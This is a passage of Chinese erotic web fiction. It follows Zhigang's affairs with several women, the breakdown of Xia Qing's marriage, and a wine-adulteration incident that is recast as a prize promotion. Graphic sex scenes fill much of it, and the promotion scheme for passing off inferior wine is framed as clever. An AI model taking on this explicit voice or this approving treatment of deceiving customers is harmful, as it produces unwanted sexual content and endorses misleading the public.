夏青已经气喘吁吁了,好像比志刚还累。
志刚确实受累了,他不尽兴。但今天来不是尽兴的,应该说目的已经达到了。
夏青吻着志刚,她已经很感谢了,今天获得了以前没有过的快乐。而且增加了信心,知道不久就有希望来高潮了。
玉琴光着身子进来了,问道:“我听见你叫了,有进步吧?”
志刚说:“有进步。”
玉琴问夏青:“要不要再观摩一下?”
夏青问:“吴博士呢?”
“下去烧饭了。我是说让你观摩我和志刚做。”
“啊?”
夏青虽是男科医生,说起**很随便,却没有随便做过,更没有看别人随便做。
玉琴躺到床上,志刚直接就进去了。两人都刚刚做过,不需要前戏。他们换了好几种姿式,都是夏医生知道却没有尝试过的。她看到玉琴海豚音响起时,觉得这时的女人很脆弱,全无防范。
等志刚的高潮也过去,夏青问他:“女人在高潮时是把自己全部交出去了,任人宰割。是吧?”
“是啊。男人高潮也是一样。怎么,你心里还有保留?”
“好像是的。我想,如果我把自己全部交出去,或许就会有高潮。”
志刚说:“这种事是感性的,非理性。你不要想太多,跟着感觉走,一定会有快乐。”
玉琴问:“要不要再试一次?”
夏青看着志刚,问:“你行吗?”
“行。”
夏青对玉琴说:“那你出去。”
玉琴说:“还不好意思?好,我走。”
看着玉琴出去下楼了,夏青对志刚说:“我怎么觉得我变成坏女人了?”
“这就对了。当你把自己当坏女人时,你就会来高潮。”
第011章 婚姻危机
他们下楼时,吴民已经把菜端上桌子。玉琴打开一瓶葡萄酒,给每人倒上,说:“喝点酒助兴,一定会快乐。”
志刚说:“不行,我今天开车了。”
夏青说:“我也开车了。”
玉琴说:“今天晚上就睡这里,明天再走。”
吴民也说:“对,今天晚上不走了。吃过饭,我们到小区外面一个公园里走走,那里环境非常好。”
志刚问:“玉琴,你儿子呢,我还没有见过他。”
“在吴民妈那里呢。等下次聚会,我把他接过来给你看。”
吃过饭,吴民到厨房洗碗。玉琴把夏青裙子掀起来,见她穿着**,便帮她脱了下来。夏青问:“你这是干什么?难道现在又要**?”
“不做。”
玉琴笑着说,“出去散步,这样舒服。习惯了你以后就想这样。”
玉琴又递给志刚一个拎袋,里面是毯子,说:“到公园里垫着坐。”
等吴民收拾好,他们出门往外走。夏青走走停停,总是不自在。玉琴知道是什么原因,说:“走你的,没关系。”
“我怎么总感到有人看到我没穿**。”
“别瞎想。今天没有月亮,天这么黑,你就是把裙子掀起来也没人看见。”
夏青想想也对,便自然了点。里面没有东西遮挡,微风从裙子下面掠进去,在蚌壳上周旋一圈,抚得她那里痒痒的、又爽爽的,不觉就张开了,蚌壳好像也在呼吸着新鲜空气。感觉的确不同。
走出小区,对面不远就是一个公园,敞开式的,不收费。他们往里面走,更多的人往外面走。玉琴说:“这个公园从现在开始,就是**天堂。”
志刚问:“怎么说?”
“10点钟以前是老人锻炼散步的时间,现在老人都回家睡觉了,年轻男女就进来了,在里面**,特别刺激。”
他们走到里面,出现了一块很大的草地,果然上面有几对男女纠缠着,看不清他们的动作,但无疑是在**。其中有一个到高潮了,肆无忌惮地叫起来,声音传得很远。
夏青问:“她们不怕让人听见?”
“没人听见。离这里最近的住宅就是我家小区,其他地方没人,对面是公路,那边的汽车声音把她们的叫声盖住了。”
吴民和玉琴选了一块草地,志刚问夏青:“你看到哪里?”
“我们到树林里吧。”
志刚知道她害羞。他想,这女人怎么是两面人,和男人说起**、高潮什么的从容自如,到自己做的时候却很害羞。有意思。
他们钻进一片树林里,找一块空地,志刚把毯子打开铺好,他们坐了上去。夏青很兴奋,加上喝了点酒,浑身发热,志刚下午在她体内留下的**又勾起了她的欲望。志刚和她相对坐着,让她双腿从志刚两边伸到后面,坐到志刚腿上面,志刚小弟弟正好对准了洞穴,她往下一坐就进去了。裙子展开,正好把他俩下身全遮住。
夏青感到前所未有的快乐。即便她是医生,知道所有的**姿式,却哪里能想到这种环境、这种氛围、这种情调下**的感觉之妙。她渐渐把自己展开,让志刚耕耘。快乐像微风一样起伏上下、持续不断地吹着她的驱体,她希望这个夜晚就这样坐到天亮。
志刚和夏青有一句没一句发聊着,说的话全无意义,此刻却非常有意义,让他们想聊下去。一个小时过去了,夏青舍不得离开,让玉柱在体内不断折腾,自己也不断地扭动着寻求新的刺激点。这感觉比下午要快乐多了。她已经很满足,一天内两次体验到**的不同境界。
两个小时过去了。夏青感到体内的玉柱在膨胀、发热,烧红了她的蚌肉,快乐迅速传播开,又返回去集中到了蚌肉的核心,越积越多、越积其密度越大,突然爆炸了,她不由自主地张口大叫,把自己挺向志刚的玉柱,让它尽快摧毁自己的洞穴……
他们相拥了许久,一动不动。快乐在周围荡漾。
回到别墅里,洗过澡睡下,志刚又和夏青做了一次,夏青又来高潮了。
过了几天,夏青打电话给志刚:“志刚,我现在不能做医生了。”
“为什么?”
“电话里不好说,我想和你当面谈谈。你要是有空,就过来一趟,还在上次那个地方喝咖啡。”
“好。我现在过去。”
志刚赶到酒店,夏青已经在上次坐的位子上等志刚了。志刚坐下来,点好咖啡,问她:“说吧,为什么不能做医生了?”
“我以前和这些男患者谈病情,什么**、阳萎、高潮等等,无所谓,可是现在不行了,一说这些就好像心里有鬼似的,脸也红了。”
“你以前是麻木,面对的只是患者;现在心里是真有鬼了,面对的是男人。”
“对,你说的对。我现在和串者说到**、高潮,身体就发热,下面就想要,好难受。你说我一天要接待那么多患者,整天这样难受,真没法干了。”
“看来真是这样。一个女人做男科大夫,除非不把自己当女人,所以你一直没有高潮。而一旦自己**有过高潮,你的性意识觉醒了,就没法面对男性患者了。”
“你说我该怎么办?”
“那就只有离开男科医院了,否则你还会被逼回去和以前一样。”
“这些年我一直是以男科专家而存在的,离开男科医院,如果不看男科了,别的医院不会要我的。”
“那就别干医生了。”
“不干医生我能干什么?”
“要不你先请假休息,调整一段时间再做决定。”
“这样也好。可在家休息我干什么呢?你有时间陪我出去旅游吗?”
“我可是刚旅游回来,还是你安排的。你要是闷的慌,就到邻村会馆来坐坐,还可以主持一期女性沙龙的健康讲座。”
“这个主意好。”
夏青脸上露出了笑容,“志刚,谢谢你。你对我的帮助,让我都不知道怎么谢你了。”
“我也要谢你呀。你帮我解决了性功能问题。”
“我帮了你,你反过来用强有力的性功能帮了我。真是应了那句话:帮助别人就是帮助自己。”
志刚看着夏青近日明显增大的胸,问:“想不想让我再帮你一次?”
“想。”
夏青坐到志刚这边,让志刚的手从大腿摸上去,她没有穿**。志刚的手指摸到蚌肉外沿,那里已经涌出大量液体,润滑着他的手指自然地进去了。志刚看到夏青脸上出现了愉悦的神情。她的双腿夹住志刚的手,不让它出来。
桌子挡住了他们的动作,这个位置较隐蔽,让夏青觉得既有风险、又有一定的安全系数,刺激而诱人。她喝一口咖啡,说:“志刚,我真觉得变坏了。可是奇怪,一变坏就想和男人**,也就有高潮了。”
“这是传统教育造成你潜意识里的观点,是不对的。喜欢**不是坏事,想和多人**也不是坏人。都什么年代了,还以坏人还是好人来评价人。你说武则天是好人还是坏人?以她对国家和历史的贡献,应该是好人,可她有那么多男宠,伤风败俗,难道就是坏人了?”
志刚一只手端起咖啡喝一口,另一只在她身体里面的手指微微动一下,夏青浑身一颤,说:“我想要了。你进来吧。”
志刚向四周看看:“在这里怎么行。”
“怎么办?我受不了。”
“那也不行。你一控制不住叫起来,就难堪了。我们开房间吧。”
进房间走到床边,夏青的衣服已经脱 光扔到了地上,她往床上一躺,双手揉着自己的乳房,大叫:“志刚,快点。”
志刚动作也不慢,却不着急,作势瞄准夏青腹下的三角地带,说:“我要瞄准了再进去,争取打十环。”
他远远地冲下来,直插进去,让夏青一阵快乐地晕眩了。
夏青没有想到,她终于在**中能享受高潮了,婚姻却产生了危机。
她丈夫胡克明也是医生,是著名的外科专家,号称“国内第一刀”享受国务院专家津贴。就是北京的一些著名医院逢到重要的大手术,也常请他去主刀。他为人正直,技术精湛,做事就像做手术一样,严谨而精细。他烧菜一定要照菜谱上来,放多少盐、多少水都严格执行,就是对菜谱上常有的计量单位“少许”把握不准。他将其换算成小塑料勺的“半勺”在一道菜上试验成功,“少许”可以等于“半勺”了。可换一道菜,照菜谱上的“少许”规定放了半勺盐,却咸了。
**也是如此。首先要有计划,每月哪几天夫妻俩都不上夜班白天不行,不是**时间,而且第二天不能有大手术,便被列入**的日程。不过,如果连续两天晚上夫妻都在家,也只能做一个晚上,否则对身体不利。一旦被列入**日程,虽然没有谁强迫,但那天晚上是一定要做的。其次,**的程序是先洗澡,再上床聊天,然后抚爱、进入,做多长时间也有规定,不能超过一个小时,其实他从来没有超过半个小时就射。夏青男科专家的身份对他一点都没有帮助,他非常固执,从来不听夏青的。
当夏青有一次**中突然来了高潮,让胡克明觉得很意外。他问夏青有没有什么情况刺激她了,比如吃药、情绪等,她说没有。
“绝不可能。肯定有原因的,任何情况出现都有原因。”
夏青知道他是反对婚外恋的,对婚外性行为更是零容忍,他认为正直而有道德的人绝不能这样。夏青不敢说实话,只是敷衍他。“国内第一把刀”、严谨认真的胡克明医生岂是能够敷衍过去的人,于是,随后的几次**气氛便不对了,夏青也没有高潮出现。此后过去几个月,夏青又来高潮了,胡克明再一次追问,夏青烦了,也觉得瞒着丈夫不是长久之计,便说了实话。
“是玉琴帮我调节心理,就来高潮了。”
“怎么调节的?给你看A片还是看真人表演?还有,你做试验了吗?和谁做的?玉琴的丈夫吗?”
夏青体会到要想瞒住专家丈夫什么事简直是不可能的。她本想只说玉琴帮忙就算了,谁知这一开口,就无法中止,你必须把所有情况都说清楚。她无奈,便毫无保留地把和志刚做的事全说了。她知道等待她的是什么结果。
“卑鄙。无耻。”
狂怒中的胡克明在说出这两个词之后,为了证明他不是在骂人,而是中肯的评价,便接着解释一番,“这么大的事你瞒着我,欺骗我,就是卑鄙。你背着我干这种事,与其他男人通奸,还美其名曰心理治疗,是无耻。”
觉得还不能平息自己的狂怒,他又接着说:“怎么能让肮脏下流的情欲左右你的行为。你是受过高等教育的医生,怎么能做这种事。”
第二天,胡克明便提出离婚,说他不能容忍妻子的不忠。
夏青不想离婚。胡克明确实是个正直的好人,恋家,对妻子也很体贴,他不厌其烦地研究“少许”和“半勺”的问题,就是想让妻子和孩子能吃好、吃得舒服一点。他们的女儿已经上小学五年级了,读书辛苦,也需要加强营养。
除了在床上让夏青不很满意,胡克明确实是无可挑剔的好男人。就是床上也不能全怪他,他还是尽职尽责的。
自己不想离,丈夫又坚持要离。夏青不知道该跟谁商量。玉琴不是好的倾诉对象,她肯定会建议离婚,不和谐的婚姻也是不道德的。和志刚说吗?这和工作的事不一样,她怕给志刚带来压力。她已经休假了,在家里实在无聊,便按志刚说的,开车到邻村会馆去坐坐。
邻村会馆的外形设计夏青很欣赏。简洁、流畅、大气,几道高高的白墙错落有致,墙顶上点缀了一些青色琉璃瓦,有点徽派建筑中马头墙的意思,却又不是马头墙,整体风格是现代时尚的,吸取了些许徽派元素,却更显其现代甚至超前。
夏青走进大门,一位男服务员背着手对她鞠躬:“请问您是本会馆会员吗?”
“不是。”
“请问您是来休闲的,还是有熟识的朋友?”
夏青问:“你们只接待会员是吧?”
“对不起,是的。”
“我找冯志刚。”
“请你先坐,喝一会茶,我去报告经理。”
小伙子把夏青引到一个位子上坐下,给她泡一杯茶,便汇报去了。
不一会,从里面走来一个美貌妇人,很有礼貌地问她:“请问是您找冯总吗?”
“是啊。他在吗?”
“请问您预约了吗?”
“没有。我是他的朋友。”
夏青有些不爽了,这冯志刚的架子还不小,想见他一面还不容易。她看看这美貌妇人,心想,玉琴说志刚的女人多,她肯定是志刚的女人,不想让我见他。
“请问您贵姓?”
“姓夏。”
“请稍等。”
那女人取出手机,打通了志刚的电话:“志刚,有一位姓夏的女士找你。”
夏青想,果然是志刚的女人,叫得多亲热,听着就像是他妈。
那女人把手机收起来,笑着说:“冯总在办公室,你跟我来吧。”
办公室在另一栋楼,属于民工之家的二楼。夏青没想到志刚的办公室这么大,说:“冯志刚,你做得不小啊。”
“一般一般。来,我介绍一下。这位是邻村会馆总经理张贵玲,这位是男科专家夏青医生。”
“男科专家?”
贵玲握着夏青的手,有些奇怪。
“觉得奇怪吧?”
夏青说,“我可能也不干了。一个女人做男科专家确实不合适。”
“你可以来主持一次女性沙龙,让女人了解一下男性。”
“好啊。志刚也和我说过这事。”
“我还有事,先走了。这事就这么说定了。”
志刚请夏青坐下,给她泡功夫茶:“已经休假了?”
“休假了。”
“过得怎么样?”
“有一件事本来不想和你说的,看来只有和你说了。”
“什么事?”
“我丈夫要离婚。”
“为什么?”
“就是因为我来高潮了。”
夏青把前后经过告诉志刚,志刚说:“他这不是自私吗?自己老婆没有高潮他不关心,有了高潮他又要离婚。”
“他不是自私。是观念不同。他把女人的贞洁看得很重。”
“跟我说说你的丈夫吧。”
夏青把胡克明的情况向志刚介绍了一遍,志刚说:“听起来还是个不错的男人。你不愿意离婚?”
“我不想离婚。可是他很坚决。他是眼睛里揉不进沙子的人。你看我怎么办?”
“怎么办?不离。”
“可他坚持要离。”
“先拖着。坚决不要办手续,一办手续就完了。慢慢再想办法。”
“也只有这样了。我实在看不出解决问题的办法。”
“这个胡克明,他就不喜欢女人?”
“就是喜欢,他也能控制住自己。”
“刚才带你进来的贵玲,你看怎么样?漂亮,又有点狐媚气,叫她去勾引胡克明,他会不会就犯?”
“我看不会。他太传统了。”
“那就算了。你今天放松一下吧。吃过饭唱歌去。”
“吃饭可以,歌就不唱了。我还是要早点回去,免得又节外生枝。”
志刚看着她的胸,说:“我想让你来几次高潮。”
“不行。今天我没兴趣。”
第012章 出现了质量问题
兰花任上海邻村酒业公司总经理后,叫小翠搬到总公司这边办公。小翠现在已经出息了,成为兰花在邻村餐饮公司最得力的助手。最近一段时间,井儿走了,兰花又兼管民工之家,现在又筹备邻村酒业,邻村餐饮基本上全由小翠管了。
她早就不需要为父亲的医疗费而烦恼了。几年前,她就把父亲接到上海治疗,病情稳定后,送回老家疗养。母亲也不需要种田了,便天天服侍父亲。小翠只是她做小姐时随便取的名字,她的真名叫周缨,红缨枪的缨。现在除了员工称她周经理,兰花他们还叫她小翠。
小翠一直住在第一家临村餐饮供应点里,办公也在那里,平时也不愿意出来。兰花叫她搬过来办公,她还不想搬,兰花说:“你现在要掌管全盘了,要有一个办公室,再说这边志刚和我也方便了解情况,也方便和你沟通。”
小翠只好般过来办公,拥有一间独立的办公室。志刚已经把最早的民工之家中第一栋楼的二楼全部作为办公室,几家公司一起办公,统一行政与人事,这样节约成本。
刚把小翠的办公室安顿好,兰花就接到投诉电话,是一个安徽老乡打来的,说最近买了十箱临村酱香老酒,喝起来质量比以前差远了。兰花叫人把那十箱酒连喝完的空酒瓶都拉回来,并送一瓶到她办公室来。她把那瓶酒拿到志刚办公室,给志刚和贵玲一人一个玻璃杯,里面倒点酒。
仔细品尝后,志刚说:“这酒好像存放的时间不够长,不够醇厚。”
贵玲说:“对。还有点涩,像是刚酿出来的毛酒。”
兰花打电话给井儿,告诉她这批酒质量不好,问是什么原因。井儿说不知道,她好好调查,查清楚后再告诉兰花。
兰花问志刚:“你看怎么办?”
志刚问:“这批酒有多少?”
“3万瓶。”
“发出去多少?”
“发出去有1万瓶。”
“能查出来都发给谁了吗?”
“能。”
“我建议全部追回。如果他们愿意换,等下一批酒来了再给他们。如果他们要求退款,就全额退还。”
“那我们损失就大了,而且名声也受影响,会流失一大批顾客。”
“不这样做损失会更大。越早这样做就越主动。损失已经造成了,不可弥补,我们只能认这个损失,为以后的生意打基础。”
“这样我的酒业公司资金可周转不灵了。”
“周转不灵我这边想办法,但一定要这样做。我想这也许是好事。”
“还是好事?怎么说?”
“你说,我们邻村酱香老酒的市场知名度怎么样?”
“新品牌,和古井贡、口子窖这些老牌子比差远了。”
“我们正好利用这次招回事件,扩大知名度,打造更好的品牌信誉。你想想,我们是业内第一家实行质量招回制度的企业,其影响力能小吗?能创造行业第一,不管这是哪类第一,机会都是可遇不可求的。”
“这么说我们还不能悄悄地招回,还要大张旗鼓地招回,甚至还可以开记者招待会,声称为消费者着想,要求记者帮我们发布招回信息。”
“对呀。这样免费广告不就铺天盖地了。”
兰花捧起志刚的脸亲一口,说:“志刚,你太有才了。”
“井儿那边你怎么处理?”
志刚问。
“我也不知道该怎么办。如果全部退货,井儿不知道能不能承受。”
“全部退货。这是没商量的。至于后面怎么处理,等她调查清楚了,我们再商量。”
兰花生气了:“你对井儿就这么狠心?还恨她没有嫁给你?”
志刚笑了:“哪儿的话。不是我对井儿狠心,是市场在惩罚她,连我们也受了惩罚。”
兰花还是关心井儿,问道:“你估计一下,井儿会受多大损失?她能不能承受?我们能不能帮助她?”
“放心吧,三嫂。我和你一样关心井儿,我会帮她的。我们要趁这次机会,帮井儿整顿生产管理,不但要杜绝此类事件,还要把关键的点掌握在我们手里。”
“怎么掌握?”
“我们要介入管理,加强监督。”
“你要收购她?”
“不是收购,是入股。”
“那井儿愿意吗?”
“不知道。这酒厂是她家祖传的,她结婚就是为了这个厂,恐怕不容易接受我们。”
“我们入股以后,她有多大损失?”
“财富上她没有损失,只有收益。”
“那她还会不干?”
“她会失去自主权和品牌。但是凭她所拥有的股份,肯定比现在的酒厂值钱。”
井儿接到兰花电话的时候,还在遵义市里,她挂掉电话,事也不办了,便回到茅台镇。她平常主要负责对外销售和采购之类工作,生产和发货由她丈夫陈天明负责。陈天明性格内向,不适宜与外人打交道,性格也不十分外向的井儿只好负责对外了。
井儿找到办公室,只有徐厂长在,便问:“徐厂长,陈天明呢?”
“天明上午还在,不知道到哪里去了。”
“我问你,最近一次发到上海的货,质量上有没有问题?”
“应该没有问题……不过,舒厂长,有一件事天明不让我说,我想还是应该告诉你。”
“什么事?”
“这批15年陈酿上海那边要3万瓶,我们还差1000瓶,天明就让灌装1000瓶5年陈酿,凑满3万瓶发过去了。”
井儿气坏了,瞪着眼睛却说不出话来了。好一会才说:“你把陈天明给我找来。”
徐厂长赶紧跑出去了。他知道陈天明在棋牌室打麻将,没敢跟井儿说。
陈天明这会儿输了钱,正在经营一副大牌,一条龙青一色,只要胡了前面输的钱全都能扳回。徐厂长闯进来说:“天明,井儿有急事叫你马上回去。”
“等我把这圈打了就回去。”
“不行。井儿急了,好像上海那边出了什么事。”
“能出什么事?酒这东西又放不坏捂不馊。”
徐厂长见这里有外人,又不好直说那1000瓶以次充好的事,只得说:“你快去吧,井儿发火了。”
“不急。你没看见我牌都停了。”
天明说着抓了一张牌,见自己不要,便打了出去,“三条。”
“胡了。”
对家把牌一推,果然胡了。
放了冲子,天明一头恼火,冲着徐厂长说:“谁叫你来吵吵了?我这一副大牌让你给吵坏了。”
“你那副牌有酒厂大吗?”
井儿进来了,听见了天明的话。天明不说话了,面红耳赤,把面前的牌一推,站起来就走。
回到酒厂办公室,天明坐到自己位子上,气鼓鼓地不说话。
井儿是脾气很好的人,结婚以来从没有和天明高声说过话,今天她是真生气了,问天明:“你是怎么当这个厂长的?还有时间打麻将?”
天明还不说话。
“我问你,那1000瓶酒是怎么回事?”
见天明就是不说话,井儿转身对徐厂长说:“徐叔,从明天开始,酒厂的一切由你负责,出了问题我拿你是问。明白吗?”
徐厂长看看天明,说:“是。可是……”
“没有可是。你只对我负责,任何人都无权指挥你。至于他,就让他打麻将去吧。”
天明终于忍不住,把桌子掀掉,走了。
井儿继续对徐厂长说:“徐叔,我明天就赶到上海去处理这件事。这里一切都拜托你了。”
徐厂长是老人了,知道这时候应该怎样做,便说:“井儿,你放心去吧。这几天我管起来。”
他又摇摇头,说:“天明这孩子,不懂事。”
井儿给兰花打了个电话:“三嫂,我已经调查清楚了,有1000瓶5年陈以次充好。我明天一早就飞到上海,和你商量这件事。”
兰花说:“好。井儿,我去机场接你。”
井儿回到家里,天明没有回来。吃过晚饭,还没有回来。她有点担心了,便到棋牌室去找。镇上所有棋牌室都找遍了,他不在。
井儿打电话给徐厂长:“徐厂长,天明到现在还没回家,你知道他会去哪里吗?”
“井儿,天明从小在这里长大的,虽说没有父母,可熟人多着呢,你不要担心。明天你放心出差,有什么情况我打电话给你。”
井儿还是不放心,一夜没睡踏实,直到天亮起床,准备去机场了,天明还没有回来。
兰花在机场接到了井儿,抱着井儿好一会亲热。兰花悄悄地附在井儿耳朵上问:“和小丈夫在一起快活吗?”
井儿笑笑不回答。兰花拖着井儿的行李箱便往停车场走。上车后,井儿问:“三嫂,你们打怎么处理这次质量事故?”
“我们还没有考虑好。志刚的想法,是趁此机会把酒厂的质量管理体系建立起来,可能我们也要介入酒厂的管理了。”
兰花把车驶出车库,开上高架路。见井儿不语,她问:“你不想让我们介入管理吗?”
“不是。其实我正想提这个建议,让你们介入管理。”
“你为什么这样想?”
“我和天明都管不好这个酒厂。就是我父亲在世也管不好了。我们不了解现代人们对酒的品味和品格的要求,更不了解现代化的企业管理机制和方法。我想了很久,觉得如果不把酒厂和邻村公司更紧密地结合起来,不但酒厂今后的路会越走越窄,和临村公司的合作也不会长久。”
“井儿就是聪明。”
兰花喜爱地说,“你和志刚想到一块了。志刚和我说的时候,我还担心你接受不了呢。你就不怕祖传的基业没有了?”
“就是怕才这样做。只有合作才能保住祖传的基业。”
“那你小男人呢,他同不同意?”
“他没有发言权。我决定就行。”
“他可是继承你家基业的正主,你要尊敬他。”
“我无法尊敬他。他太让我失望了。只知道天天打麻将,工厂根本就不管。真要不管倒好,他还专干坏事,这次3万瓶15年醇里混了1000瓶5年醇,就是他指使干的。”
兰花也生气了:“这小子怎么这样混蛋?你父亲把舒家酒厂的未来连你的一生都交给了他,他怎么就不懂得负起责任?”
“他是孤儿,从小没有父母,是吃百家饭长大的。虽然念过几年书,可没念出什么名堂。我爸看他老实,才收他为徒,却没想到他知识缺乏会有多大恶果。其实他骨子里也不老实。”
“我看他是穷小子乍富,给金元宝砸晕了。又娶了你这个如花似玉的老婆,忘乎所以了。”
“现在我最头痛的就是他了。”
“这种混小子还要他干什么?离掉算了。”
“要是能简单就离婚了,我还头痛干嘛?”
“为什么?怕他分你财产?”
“分财产还是次要的。关键是他掌握了舒家酿酒工艺的诀窍,离婚以后,我家祖传的工艺就流落到外面了。”
“这倒是个难题。我们去和志刚商量吧,他和贵玲等着我们呢。”
兰花直接带井儿到邻村会馆餐厅,志刚和贵玲、小翠已经在那里了。春儿也在,远远见她们走进大门,飞快地跑出包房,抱住井儿蹦蹦跳跳地嚷嚷:“姐,我想死你了,好长时间都不来看我。”
井儿拥着春儿走进包房,贵玲说:“井儿,把我们都忘了吧?志刚可天天想着你呢。”
井儿脸红了,瞟志刚一眼,低下了头。她觉得最对不住的就是志刚。
兰花说:“井儿肯定饿了,上菜吃饭吧。”
冷菜早就摆好了,贵玲叫服务员开始上热菜,便打开一瓶邻村老酒,说:“我们碰碰运气。这瓶酒也是那3万瓶里的,如果是5年陈醇,我们就中奖了。”
说起酒,兰花说:“志刚,你根本想不到,井儿自己也想让我们介入酒厂的管理。”
“是吗?”
志刚看看井儿。
井儿点点头。
“那就好。”
志刚说,“井儿,你放心,我们参与管理后,你家祖传的工艺还是掌握在你的手里,而且只会受到更好的保护,还能更好地扩大影响、创造效益。”
兰花一拍巴掌:“你看,两个人说的话都一样。多好的一对。我现在都为你们可惜。”
井儿说:“志刚,我这次来就是和你们商量这3万瓶酒的处理方法。你是怎么想的?”
“本来我是想全部退货的。你有什么更好的办法吗?”
“你知道我承受不了退货的损失。我想能不能就在上海解决?”
“你说说,有什么解决方法。”
“我还没想好,所以才和你们商量嘛。要是能在上海把这1000瓶酒找出来,我派几个酒厂工人过来就行了,比把货发回去要节约很多。”
“办法倒不错, 思路也正确。不过能找出来吗?”
“很难。除非开瓶。可要是开瓶,就只能把货退回去才行。”
“这就难了。”
志刚看看兰花她们,笑着说,“你们有没有什么好办法?”
她们都摇摇头。兰花说:“目前只知道从客户那里退回来的10箱酒里,打开的那箱是1000瓶里的。”
志刚心里已经有了想法,忍不住地笑着说:“我有一个绝妙的主意,连已经发出去的酒都不需要追回了,想不想听?”
兰花说:“别卖关子了,你快说。”
志刚问贵玲:“你刚才是怎么说的?”
“你问的是哪句话?”
“刚打开酒瓶,给我们倒酒的时候。”
“我说,如果这瓶酒是5年醇,我们就中奖了。”
“对呀。”
贵玲眼睛一亮:“你是说,兑奖?”
志刚会意地对她点点头:“我们明天就对外宣布,这一批酒里,故意放了1000瓶5年陈酿,如果有谁喝出来了,拿到邻村酒业来,不但可以换回一瓶线年醇酿,还可以获得邻村酒业500元现金奖励。你们说,这主意妙不妙?”
大家不约而同拍起巴掌,纷纷说太妙了。
兰花说:“500块奖金是不是多了?总共就要支付50万。”
“不多。”
志刚说,“我们退货到酒厂,酒厂加班加点处理完再运回上海,我估计损失也得有几十万了。如果算上不良影响等在业务上的损失,远远不只50万。再算上我们这样处理所产生的广告效应,500万也买不来。”
坐在志刚身边的井儿高兴地说:“志刚,太谢谢你了。你救了我。”
志刚说:“没那么严重。我只是顺势而为,做了点策划而已。”
贵玲说:“还有一个问题要解决,就是这些酒都集中放着,中奖面太窄,一中就至少中6瓶。”
志刚问井儿:“这1000瓶酒是集中装箱的吗?”
“是集中装箱的,6瓶一箱。不过天明让工人把箱子打乱重新放了。”
志刚说:“这个好办,把库存的酒全部开箱,打乱再重新装箱。这活就不需要井儿那边来人了,我们自己的员工就能做。”
“已经发出的怎么办?”
“发出的就算了。既然箱子都打乱了,他一般不会中两箱。不管他中了几箱,都算他是中了大奖,奖金照付,他也从此会成为邻村酒业的铁杆客户和业务宣传员。”
“那么这次退回10箱酒的客户,至少有一箱已经中奖了?”
“当然。还要特别奖励他举报有功。”
兰花说:“井儿,你还不敬志刚一杯。”
井儿端起酒杯说:“志刚,谢谢你。”
春儿从井儿另一边跑过来,说:“志刚哥,我知道姐姐想做什么,我代她做了,亲你一口。”
便在志刚脸上亲了一口。大家又鼓了一阵掌。
兰花说:“来,我们大家一起干一杯,为了志刚又带领我们闯过了一个难关。”
放下酒杯,贵玲问:“你们喝出来没有?这瓶酒中没中奖?”
大家异口同声地说:“没有。”
吃过饭,兰花问井儿:“今晚你住哪里?”
“还住在我的宿舍里。”
井儿搂着春儿说。
兰花点着她的额头说:“你这个丫头,就不能陪陪志刚?”
井儿笑着摇摇头。
志刚回到公寓,洗过澡,坐在沙发上看电视。他知道今晚是睡不着了,每次井儿来他都睡不着。又不想找别的女人。今晚除了井儿,他谁都不想要。
看到12点多钟,已经没有什么好电视了,他还是不停地调台,希望有一个节目能看得下去。不知过了多长时间,他靠在沙发上睡着了。
门口有轻微的钥匙开门的响声,志刚惊醒了。是谁?
门轻轻地开了,是井儿。
井儿一进来就扑到志刚身上,热烈地亲吻他。志刚还以为在做梦,直到怀中抱着井儿温软的身子,才知道她真的来了。
志刚心中狂喜,把井儿放到沙发上,说:“好井儿,我以为这辈子再也得不到你了。真没想到你会来。”
“我说过的,就是不嫁给你也做你一辈子的情人。”
志刚解开了井儿的上衣,取下胸罩,日思夜想的一对精致的乳房跳了出来。他轻轻地揉搓着它们,问道:“你为什么不和我一起过来?”
井儿光洁的脸上浮现出快乐,说:“我不想让他们知道。”
“为什么?以前不都知道吗?”
“以前我是准备嫁给你的。可现在我和别人结婚了,和你的关系就不能公开了。”
井儿的呼吸开始急促起来,双手抚摸着志刚的胸肌。志刚把井儿的**拿掉,舌尖轻触已经张开的贝肉。井儿已经是个**了,里面肉红色的瓤展示出无数次被男人蹂躏的成果。一想到这贝壳里每天有别的男人粗鲁地通过,志刚一阵心痛。他把舌尖放进去,贝肉也像舌尖一样灵动地开合。
井儿受不了了,叫着:“啊,志刚,快进来。快。”
志刚进去了,长长地松一口气,说:“井儿,我终于又要到你了。”
井儿断断续续地说:“我,也是。我好,想你。”
喘息与扭动,他们不停地冲击对方。他俩终于又重温过去那种灵与肉的触动、感应与配合。不同的是,志刚没有了以前那种面对一件瓷器的感觉,而是把井儿揉作一团泥,自己也成为一团泥,两人揉成了一团泥,不分你我。
高潮平复下来,井儿还抱着志刚,不想让他从体内出去,可事与愿违,小弟弟已经缩出来了。井儿轻叹一口气,说:“志刚,我要走了。”
“别急,我还要你一次。”
“我怕春儿醒了,我是偷偷过来的。”
井儿穿好衣服,开门跑了。志刚感到像是做了一个春亅 02-12
第013章 没有男人的日子
贾欣宜到小冯庄没几天,曲贝贝就追踪来了。她们住在志刚家,楼上好几个房间,她俩一人挑了一间。每天志刚妈把饭烧好,就叫她们下楼吃饭。吃的是绿色环保大米和蔬菜,呼吸着金钱都买不来的新鲜空气,出门满眼都是青山绿水和广阔的田野,真是神仙过的日子。
唯一不足的是没有男人。
不过这没关系,她们有心理准备。晚上洗过澡,曲贝贝穿着浴袍,把卧室门关好,从行李箱里取出一个像医药箱似的小包,里面是各式各样的**工具。她先取出一个胸部**器戴上,便享受着乳房被不断**的快乐,两粒樱桃也不断地被侵犯。她打开电视机,然后又取出一只充气坐椅,充满气后,中间竖起一只雄器,前后还有两个点,坐上去如男人进入体内,还震动有如活物,前后两点分别触到阴 蒂和**。人性化的设计,该想到的都想到了。贝贝坐在上面,舒服地看着电视。快乐在她的体内慢慢积聚,达到一定的浓度,终于爆发了。她往后仰着头,拼命挺起胸,让自己成为一张弓,忍不住长啸起来。
享受过以后,她收起器具,忽然侧耳听着。她轻轻打开门,到对面房间门口听。里面似乎有大声的呻吟,却听不真切。忽然,隐隐地传出连续的高音。贝贝知道那是欣宜达到高潮了。她回到房间,10分钟后,又过来敲门。
“谁呀?”
里面欣宜问。
“是我。曲贝贝。”
过了一会,门打开了,欣宜也穿着睡衣,让贝贝进去。
“还没有睡吗?”
贝贝问。
“睡早了睡不着。”
“是没有男人睡不着吧?”
“是又怎样?你不也一样。”
“你刚才干什么了?”
贝贝到处看着,像是找什么东西。
“没干什么。”
“没干什么?”
贝贝把欣宜的睡衣掀起来,露出了胯下穿戴好的无线遥控玩具。
贝贝把欣宜的睡衣从头上脱去,也把自己的脱去,取下欣宜胯下的器具戴到自己胯下,说:“你这种我还没有玩过。”
